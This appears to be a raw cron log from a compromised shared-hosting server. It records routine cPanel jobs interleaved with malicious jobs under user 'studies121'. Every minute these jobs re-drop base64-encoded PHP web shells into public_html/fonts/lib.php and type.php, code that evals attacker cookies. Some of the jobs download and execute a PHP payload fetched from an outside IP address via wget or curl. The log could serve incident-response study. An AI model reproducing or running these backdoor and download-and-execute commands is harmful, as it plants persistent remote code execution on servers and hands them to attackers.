Sep  3 07:10:02 ip-184-168-122-23 CROND[24038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:10:02 ip-184-168-122-23 CROND[24041]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:11:01 ip-184-168-122-23 CROND[24179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:11:01 ip-184-168-122-23 CROND[24180]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:11:01 ip-184-168-122-23 CROND[24182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:11:01 ip-184-168-122-23 CROND[24184]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:12:01 ip-184-168-122-23 CROND[24295]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 07:12:01 ip-184-168-122-23 CROND[24300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:12:01 ip-184-168-122-23 CROND[24299]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:12:01 ip-184-168-122-23 CROND[24297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:12:01 ip-184-168-122-23 CROND[24298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:13:01 ip-184-168-122-23 CROND[24472]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:13:01 ip-184-168-122-23 CROND[24476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:13:01 ip-184-168-122-23 CROND[24474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:13:01 ip-184-168-122-23 CROND[24475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:14:01 ip-184-168-122-23 CROND[24590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:14:01 ip-184-168-122-23 CROND[24589]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 07:14:01 ip-184-168-122-23 CROND[24593]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:14:01 ip-184-168-122-23 CROND[24594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:14:01 ip-184-168-122-23 CROND[24597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:15:01 ip-184-168-122-23 CROND[24686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:15:01 ip-184-168-122-23 CROND[24689]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 07:15:01 ip-184-168-122-23 CROND[24688]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 07:15:01 ip-184-168-122-23 CROND[24690]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:15:01 ip-184-168-122-23 CROND[24691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:15:01 ip-184-168-122-23 CROND[24692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:16:01 ip-184-168-122-23 CROND[24795]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:16:01 ip-184-168-122-23 CROND[24797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:16:01 ip-184-168-122-23 CROND[24798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:16:01 ip-184-168-122-23 CROND[24799]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 07:16:01 ip-184-168-122-23 CROND[24801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:16:01 ip-184-168-122-23 CROND[24800]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 07:17:01 ip-184-168-122-23 CROND[24903]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:17:01 ip-184-168-122-23 CROND[24905]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:17:01 ip-184-168-122-23 CROND[24906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:17:01 ip-184-168-122-23 CROND[24907]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:18:02 ip-184-168-122-23 CROND[25031]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:18:02 ip-184-168-122-23 CROND[25033]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 07:18:02 ip-184-168-122-23 CROND[25034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:18:02 ip-184-168-122-23 CROND[25032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:18:02 ip-184-168-122-23 CROND[25035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:19:01 ip-184-168-122-23 CROND[25220]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:19:01 ip-184-168-122-23 CROND[25222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:19:01 ip-184-168-122-23 CROND[25224]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:19:01 ip-184-168-122-23 CROND[25223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:20:01 ip-184-168-122-23 CROND[25401]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 07:20:01 ip-184-168-122-23 CROND[25404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:20:01 ip-184-168-122-23 CROND[25405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:20:01 ip-184-168-122-23 CROND[25410]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 07:20:01 ip-184-168-122-23 CROND[25412]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 07:20:01 ip-184-168-122-23 CROND[25413]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 07:20:01 ip-184-168-122-23 CROND[25418]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:20:01 ip-184-168-122-23 CROND[25417]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 07:20:01 ip-184-168-122-23 CROND[25416]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:21:01 ip-184-168-122-23 CROND[25754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:21:01 ip-184-168-122-23 CROND[25755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 07:21:01 ip-184-168-122-23 CROND[25753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:21:01 ip-184-168-122-23 CROND[25756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 07:22:01 ip-184-168-122-23 CROND[25859]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 07:22:01 ip-184-168-122-23 CROND[25860]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 07:22:01 ip-184-168-122-23 CROND[25863]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 07:22:01 ip-184-168-122-23 CROND[25864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
